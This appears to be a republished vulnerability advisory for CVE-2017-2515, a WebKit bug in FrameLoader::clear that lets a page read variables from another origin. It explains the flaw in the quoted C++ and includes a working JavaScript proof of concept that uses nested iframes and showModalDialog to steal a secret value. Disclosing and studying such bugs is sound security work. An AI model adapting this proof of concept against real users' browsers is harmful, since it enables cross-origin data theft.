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WebKit FrameLoader::clear Variable Theft

Posted on 26 May 2017

WebKit: Stealing variables via page navigation in FrameLoader::clear

CVE-2017-2515

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
m_frame.editor().clear();

if (!m_needsClear)
return;
m_needsClear = false;

if (m_frame.document()->pageCacheState() != Document::InPageCache) {
...
m_frame.document()->prepareForDestruction(); <<-------- (a)
if (hadLivingRenderTree)
m_frame.document()->removeFocusedNodeOfSubtree(*m_frame.document());
}
...
m_frame.setDocument(nullptr); <<------- (b)
...
if (clearWindowProperties)
m_frame.script().setDOMWindowForWindowShell(newDocument->domWindow()); <<------- (c)
...
}

FrameLoader::clear is called when page navigation is made and it does:
1. clear the old document at (b).
2. attach the new window object at (c).

If a new page navigation is made at (a), the new window will not attached due to |m_needsClear| check. As a result, the new document's script will be execute on the old window object.

PoC will reproduce to steal |secret_key| value from another origin(data:text/html,...).

PoC:
<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}

window.onclick = () => {
window.onclick = null;

let f = document.body.appendChild(document.createElement('iframe'));
f.contentDocument.open();
f.contentDocument.onreadystatechange = () => {
f.contentDocument.onreadystatechange = null;

let g = f.contentDocument.appendChild(document.createElement('iframe'));
g.contentDocument.open();
g.contentDocument.onreadystatechange = () => {
g.contentDocument.onreadystatechange = null;

f.contentWindow.__defineGetter__('navigator', function () {
return {};
});

let a = f.contentDocument.createElement('a');
a.href = 'data:text/html,' + encodeURI(`<script>var secret_key = '23412341234';</scrip` + 't>');
a.click();

showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener[0].frameElement.contentDocument.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'));

alert('secret_key:' + f.contentWindow.secret_key);
//showModalDialog('about:blank');
};
};

f.src = 'javascript:""';
}

</script>
</body>

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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